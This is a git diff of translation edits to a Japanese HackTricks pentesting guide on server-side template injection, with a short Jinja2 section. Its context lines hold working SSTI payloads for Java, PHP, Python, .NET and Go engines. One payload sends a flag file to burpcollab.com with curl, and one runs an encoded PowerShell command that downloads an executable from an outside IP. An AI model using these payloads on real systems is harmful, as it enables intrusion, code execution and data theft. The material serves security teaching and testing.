この脆弱なコードでは、ユーザーのリクエストからの `name` パラメータが `render` 関数を使用してテンプレートに直接渡されます。これにより、攻撃者が `name` パラメータに悪意のあるコードを注入する可能性があり、サーバーサイドテンプレートインジェクションにつながる可能性があります。
|
この脆弱なコードでは、ユーザーのリクエストからの `name` パラメータが `render` 関数を使用してテンプレートに直接渡されます。これにより、攻撃者が `name` パラメータに悪意のあるコードを注入する可能性があり、サーバーサイドテンプレートインジェクションにつながる可能性があります。
|
||||||
|
|
||||||
例えば、攻撃者は次のようなペイロードを含むリクエストを作成することができます:
|
例えば、攻撃者は次のようなペイロードを含むリクエストを作成することができます:
|
||||||
```
|
```
|
||||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||||
```
|
```
|
||||||
The payload `{{bad-stuff-here}}` は `name` パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があり、最終的にはサーバーの制御を得ることができます。
|
The payload `{{bad-stuff-here}}` は `name` パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があります。これにより、サーバーの制御を得ることができます。
|
||||||
|
|
||||||
サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよびバリデーションされていることを確認する必要があります。入力バリデーションを実装し、コンテキストに応じたエスケープ技術を使用することで、この脆弱性のリスクを軽減できます。
|
サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよびバリデーションされていることを確認する必要があります。入力バリデーションを実装し、コンテキストに応じたエスケープ技術を使用することで、この脆弱性のリスクを軽減できます。
|
||||||
|
|
||||||
|
@ -50,7 +50,7 @@ The payload `{{bad-stuff-here}}` は `name` パラメータに注入されます
|
||||||
|
|
||||||
#### Identification Phase
|
#### Identification Phase
|
||||||
|
|
||||||
テンプレートエンジンを特定するには、エラーメッセージを分析するか、さまざまな言語特有のペイロードを手動でテストします。エラーを引き起こす一般的なペイロードには `${7/0}`、`{{7/0}}`、および `<%= 7/0 %>` が含まれます。数学的操作に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定するのに役立ちます。
|
テンプレートエンジンを特定するには、エラーメッセージを分析するか、さまざまな言語固有のペイロードを手動でテストします。エラーを引き起こす一般的なペイロードには `${7/0}`、`{{7/0}}`、および `<%= 7/0 %>` が含まれます。数学的操作に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定するのに役立ちます。
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
|
@ -135,7 +135,7 @@ ${dwf.newInstance(ec,null)("id")}
|
||||||
```
|
```
|
||||||
**詳細情報**
|
**詳細情報**
|
||||||
|
|
||||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のFreeMarkerセクション
|
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) のFreeMarkerセクション
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
||||||
|
|
||||||
### Velocity (Java)
|
### Velocity (Java)
|
||||||
|
@ -181,7 +181,7 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
||||||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||||
```
|
```
|
||||||
|
|
||||||
Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_expression inlining_は他のテンプレートの場所でもサポートされており、`[[...]]`や`[(...)]`のような構文を使用します。したがって、シンプルなSSTIテストペイロードは`[[${7*7}]]`のようになります。
|
Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_expression inlining_は他のテンプレートの場所でもサポートされており、`[[...]]`や`[(...)]`のような構文が使用できます。したがって、シンプルなSSTIテストペイロードは`[[${7*7}]]`のようになります。
|
||||||
|
|
||||||
しかし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト設定では動的テンプレート生成がサポートされておらず、テンプレートは事前に定義されている必要があります。開発者は、文字列からテンプレートをオンザフライで作成するために独自の`TemplateResolver`を実装する必要があり、これは一般的ではありません。
|
しかし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト設定では動的テンプレート生成がサポートされておらず、テンプレートは事前に定義されている必要があります。開発者は、文字列からテンプレートをオンザフライで作成するために独自の`TemplateResolver`を実装する必要があり、これは一般的ではありません。
|
||||||
|
|
||||||
|
@ -196,7 +196,7 @@ Thymeleafはまた、ダブルアンダースコア(`__...__`)内の式を
|
||||||
<a th:href="@{__${path}__}" th:title="${title}">
|
<a th:href="@{__${path}__}" th:title="${title}">
|
||||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||||
```
|
```
|
||||||
これは、テンプレートエンジンがこれらの入力を不適切に処理した場合、次のようなURLにアクセスするリモートコード実行につながる可能性があることを示しています:
|
これは、テンプレートエンジンがこれらの入力を不適切に処理した場合、次のようなURLにアクセスするリモートコード実行につながる可能性があることを示しています:
|
||||||
```
|
```
|
||||||
http://localhost:8082/(7*7)
|
http://localhost:8082/(7*7)
|
||||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||||
|
@ -282,6 +282,7 @@ Pebbleの古いバージョン ( < version 3.0.9):
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
{% set bytes = (1).TYPE
|
{% set bytes = (1).TYPE
|
||||||
.forName('java.lang.Runtime')
|
.forName('java.lang.Runtime')
|
||||||
.methods[6]
|
.methods[6]
|
||||||
|
@ -370,11 +371,11 @@ JinjavaはHubspotによって開発されたオープンソースプロジェク
|
||||||
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||||||
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||||
```
|
```
|
||||||
**More information**
|
**詳細情報**
|
||||||
|
|
||||||
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
|
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
|
||||||
|
|
||||||
### Expression Language - EL (Java)
|
### 表現言語 - EL (Java)
|
||||||
|
|
||||||
* `${"aaaa"}` - "aaaa"
|
* `${"aaaa"}` - "aaaa"
|
||||||
* `${99999+1}` - 100000.
|
* `${99999+1}` - 100000.
|
||||||
|
@ -382,11 +383,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||||
* `${{7*7}}` - 49
|
* `${{7*7}}` - 49
|
||||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||||
|
|
||||||
Expression Language (EL) は、JavaEEにおけるプレゼンテーション層(ウェブページなど)とアプリケーションロジック(マネージドビーンなど)との相互作用を促進する基本的な機能です。この通信を効率化するために、複数のJavaEE技術で広く使用されています。ELを利用する主要なJavaEE技術には以下が含まれます:
|
表現言語 (EL) は、JavaEEにおけるプレゼンテーション層(ウェブページなど)とアプリケーションロジック(マネージドビーンなど)との相互作用を促進する基本的な機能です。この通信を効率化するために、複数のJavaEE技術で広く使用されています。ELを利用する主要なJavaEE技術には以下が含まれます:
|
||||||
|
|
||||||
* **JavaServer Faces (JSF)**: JSFページ内のコンポーネントを対応するバックエンドデータやアクションにバインドするためにELを使用します。
|
* **JavaServer Faces (JSF)**: JSFページ内のコンポーネントを対応するバックエンドデータおよびアクションにバインドするためにELを使用します。
|
||||||
* **JavaServer Pages (JSP)**: JSP内でデータにアクセスし操作するためにELが使用され、ページ要素をアプリケーションデータに接続しやすくします。
|
* **JavaServer Pages (JSP)**: JSP内でデータにアクセスし操作するためにELが使用され、ページ要素をアプリケーションデータに接続しやすくします。
|
||||||
* **Contexts and Dependency Injection for Java EE (CDI)**: ELはCDIと統合され、ウェブ層とマネージドビーン間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。
|
* **Java EEのためのコンテキストと依存性注入 (CDI)**: ELはCDIと統合され、ウェブ層とマネージドビーン間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。
|
||||||
|
|
||||||
**ELインタープリタの悪用**について詳しくは、以下のページを確認してください:
|
**ELインタープリタの悪用**について詳しくは、以下のページを確認してください:
|
||||||
|
|
||||||
|
@ -396,7 +397,7 @@ Expression Language (EL) は、JavaEEにおけるプレゼンテーション層
|
||||||
|
|
||||||
### Groovy (Java)
|
### Groovy (Java)
|
||||||
|
|
||||||
以下のセキュリティマネージャーバイパスは、この[**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)から取得されました。
|
以下のセキュリティマネージャーバイパスは、この[**書き込み**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)から取得されました。
|
||||||
```java
|
```java
|
||||||
//Basic Payload
|
//Basic Payload
|
||||||
import groovy.*;
|
import groovy.*;
|
||||||
|
@ -501,7 +502,7 @@ $templates = new League\Plates\Engine('/path/to/templates');
|
||||||
// Render a template
|
// Render a template
|
||||||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||||||
```
|
```
|
||||||
ページテンプレート:
|
ページテンプレート:
|
||||||
```php
|
```php
|
||||||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||||||
|
|
||||||
|
@ -603,7 +604,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||||
|
|
||||||
### patTemplate (PHP)
|
### patTemplate (PHP)
|
||||||
|
|
||||||
> [patTemplate](https://github.com/wernerwa/pat-template) は、XMLタグを使用してドキュメントを異なる部分に分割する非コンパイルPHPテンプレートエンジンです。
|
> [patTemplate](https://github.com/wernerwa/pat-template) は、XMLタグを使用してドキュメントを異なる部分に分割する非コンパイル型のPHPテンプレーティングエンジンです。
|
||||||
```xml
|
```xml
|
||||||
<patTemplate:tmpl name="page">
|
<patTemplate:tmpl name="page">
|
||||||
This is the main page.
|
This is the main page.
|
||||||
|
@ -627,7 +628,7 @@ curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":
|
||||||
```
|
```
|
||||||
* \= エラー
|
* \= エラー
|
||||||
* ${7\*7} = ${7\*7}
|
* ${7\*7} = ${7\*7}
|
||||||
* 何も
|
* 何もない
|
||||||
```java
|
```java
|
||||||
{{#with "s" as |string|}}
|
{{#with "s" as |string|}}
|
||||||
{{#with "e"}}
|
{{#with "e"}}
|
||||||
|
@ -663,7 +664,7 @@ URLencoded:
|
||||||
| | 出力を評価してレンダリングする |
|
| | 出力を評価してレンダリングする |
|
||||||
| | HTMLエンコードされた出力を評価してレンダリングする |
|
| | HTMLエンコードされた出力を評価してレンダリングする |
|
||||||
| | コメント |
|
| | コメント |
|
||||||
| and | コードを許可する(デフォルトでは無効) |
|
| そして | コードを許可する(デフォルトで無効) |
|
||||||
|
|
||||||
* \= 49
|
* \= 49
|
||||||
|
|
||||||
|
@ -741,7 +742,7 @@ home = pugjs.render(injected_page)
|
||||||
|
|
||||||
### Python
|
### Python
|
||||||
|
|
||||||
以下のページをチェックして、Pythonでの**サンドボックスをバイパスする任意のコマンド実行**に関するトリックを学んでください:
|
以下のページをチェックして、Pythonでの**サンドボックスを回避した任意のコマンド実行**に関するトリックを学んでください:
|
||||||
|
|
||||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||||
|
@ -765,6 +766,7 @@ home = pugjs.render(injected_page)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
{{os.system('whoami')}}
|
{{os.system('whoami')}}
|
||||||
{{os.system('whoami')}}
|
{{os.system('whoami')}}
|
||||||
```
|
```
|
||||||
|
@ -797,6 +799,7 @@ home = pugjs.render(injected_page)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
{{settings.SECRET_KEY}}
|
{{settings.SECRET_KEY}}
|
||||||
{{4*4}}[[5*5]]
|
{{4*4}}[[5*5]]
|
||||||
{{7*'7'}} would result in 7777777
|
{{7*'7'}} would result in 7777777
|
||||||
|
@ -843,7 +846,7 @@ x=os.popen('id').read()
|
||||||
%>
|
%>
|
||||||
${x}
|
${x}
|
||||||
```
|
```
|
||||||
**More information**
|
**詳細情報**
|
||||||
|
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
||||||
|
|
||||||
|
@ -852,17 +855,17 @@ ${x}
|
||||||
* `@(2+2) <= 成功`
|
* `@(2+2) <= 成功`
|
||||||
* `@() <= 成功`
|
* `@() <= 成功`
|
||||||
* `@("{{code}}") <= 成功`
|
* `@("{{code}}") <= 成功`
|
||||||
* `@ <=成功`
|
* `@ <= 成功`
|
||||||
* `@{} <= エラー!`
|
* `@{} <= エラー!`
|
||||||
* `@{ <= エラー!`
|
* `@{ <= エラー!`
|
||||||
* `@(1+2)`
|
* `@(1+2)`
|
||||||
* `@( //C#コード )`
|
* `@( //C#コード )`
|
||||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||||
|
|
||||||
The .NET `System.Diagnostics.Process.Start` メソッドは、サーバー上で任意のプロセスを開始し、ウェブシェルを作成するために使用できます。脆弱なウェブアプリの例は [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) で見つけることができます。
|
.NETの`System.Diagnostics.Process.Start`メソッドは、サーバー上で任意のプロセスを開始し、ウェブシェルを作成するために使用できます。脆弱なウェブアプリの例は[https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)で見つけることができます。
|
||||||
|
|
||||||
**More information**
|
**詳細情報**
|
||||||
|
|
||||||
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
|
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
|
||||||
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
|
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
|
||||||
|
@ -894,21 +897,21 @@ Perlであっても、RubyのERBのようなタグを使用します。
|
||||||
|
|
||||||
Goのテンプレートエンジンでは、特定のペイロードを使用してその利用を確認できます:
|
Goのテンプレートエンジンでは、特定のペイロードを使用してその利用を確認できます:
|
||||||
|
|
||||||
* `{{ . }}`: データ構造の入力を明らかにします。例えば、`Password`属性を持つオブジェクトが渡されると、`{{ .Password }}`がそれを露出する可能性があります。
|
* `{{ . }}`: データ構造の入力を明らかにします。たとえば、`Password`属性を持つオブジェクトが渡されると、`{{ .Password }}`がそれを露出する可能性があります。
|
||||||
* `{{printf "%s" "ssti" }}`: 文字列 "ssti" を表示することが期待されます。
|
* `{{printf "%s" "ssti" }}`: 文字列 "ssti" を表示することが期待されます。
|
||||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: これらのペイロードは "ssti" を返すべきであり、"html" や "js" を追加しないはずです。さらなる指示はGoのドキュメントで探ることができます [here](https://golang.org/pkg/text/template).
|
* `{{html "ssti"}}`, `{{js "ssti"}}`: これらのペイロードは "ssti" を返すべきであり、"html" や "js" を追加しないはずです。さらなる指示はGoのドキュメントで探ることができます [こちら](https://golang.org/pkg/text/template)。
|
||||||
|
|
||||||
**XSS Exploitation**
|
**XSS Exploitation**
|
||||||
|
|
||||||
`text/template`パッケージを使用すると、ペイロードを直接挿入することでXSSが簡単に実行できます。対照的に、`html/template`パッケージはこの防止のためにレスポンスをエンコードします(例:`{{"<script>alert(1)</script>"}}`は`<script>alert(1)</script>`になります)。それにもかかわらず、Goにおけるテンプレートの定義と呼び出しはこのエンコーディングを回避できます:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
`text/template`パッケージを使用すると、ペイロードを直接挿入することでXSSが簡単に実行できます。対照的に、`html/template`パッケージはこのためにレスポンスをエンコードします(例:`{{"<script>alert(1)</script>"}}`は`<script>alert(1)</script>`になります)。それにもかかわらず、Goにおけるテンプレートの定義と呼び出しはこのエンコーディングを回避できます:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||||
|
|
||||||
vbnet Copy code
|
vbnet Copy code
|
||||||
|
|
||||||
**RCE Exploitation**
|
**RCE Exploitation**
|
||||||
|
|
||||||
RCEの悪用は、`html/template`と`text/template`の間で大きく異なります。`text/template`モジュールは、任意の公開関数を直接呼び出すことを許可します(“call”値を使用)。これは`html/template`では許可されていません。これらのモジュールのドキュメントは [here for html/template](https://golang.org/pkg/html/template/) と [here for text/template](https://golang.org/pkg/text/template/) で入手可能です。
|
RCEの悪用は、`html/template`と`text/template`の間で大きく異なります。`text/template`モジュールは、任意の公開関数を直接呼び出すことを許可します(“call”値を使用)。これは`html/template`では許可されていません。これらのモジュールのドキュメントは、[html/templateはこちら](https://golang.org/pkg/html/template/)と[ text/templateはこちら](https://golang.org/pkg/text/template/)で入手できます。
|
||||||
|
|
||||||
GoにおけるSSTIを介したRCEでは、オブジェクトメソッドを呼び出すことができます。例えば、提供されたオブジェクトにコマンドを実行する`System`メソッドがある場合、`{{ .System "ls" }}`のように悪用できます。これを悪用するには、通常、ソースコードにアクセスする必要があります。
|
GoにおけるSSTIを介したRCEでは、オブジェクトメソッドを呼び出すことができます。たとえば、提供されたオブジェクトにコマンドを実行する`System`メソッドがある場合、`{{ .System "ls" }}`のように悪用できます。これを悪用するには、通常、ソースコードにアクセスする必要があります。
|
||||||
```go
|
```go
|
||||||
func (p Person) Secret (test string) string {
|
func (p Person) Secret (test string) string {
|
||||||
out, _ := exec.Command(test).CombinedOutput()
|
out, _ := exec.Command(test).CombinedOutput()
|
||||||
|
@ -930,7 +933,7 @@ return string(out)
|
||||||
|
|
||||||
## 関連ヘルプ
|
## 関連ヘルプ
|
||||||
|
|
||||||
役に立つと思う場合は、以下をお読みください:
|
役立つと思う場合は、以下をお読みください:
|
||||||
|
|
||||||
* [Flaskのトリック](../../network-services-pentesting/pentesting-web/flask.md)
|
* [Flaskのトリック](../../network-services-pentesting/pentesting-web/flask.md)
|
||||||
* [Pythonのマジック関数](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
|
* [Pythonのマジック関数](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
|
||||||
|
@ -954,13 +957,13 @@ return string(out)
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
|
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -968,7 +971,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
||||||
|
|
||||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# Jinja2 SSTI
|
# Jinja2 SSTI
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricksをサポートする</summary>
|
<summary>HackTricksをサポートする</summary>
|
||||||
|
|
||||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -35,7 +35,7 @@ app.run()
|
||||||
|
|
||||||
### **デバッグステートメント**
|
### **デバッグステートメント**
|
||||||
|
|
||||||
Debug Extensionが有効になっている場合、`debug`タグが利用可能になり、現在のコンテキストや利用可能なフィルターとテストをダンプできます。これは、デバッガを設定せずにテンプレートで使用できるものを確認するのに便利です。
|
Debug Extensionが有効になっている場合、現在のコンテキストや利用可能なフィルターとテストをダンプするための`debug`タグが利用可能になります。これは、デバッガを設定せずにテンプレートで使用できるものを確認するのに便利です。
|
||||||
```python
|
```python
|
||||||
<pre>
|
<pre>
|
||||||
|
|
||||||
|
@ -47,6 +47,7 @@ Debug Extensionが有効になっている場合、`debug`タグが利用可能
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
</pre>
|
</pre>
|
||||||
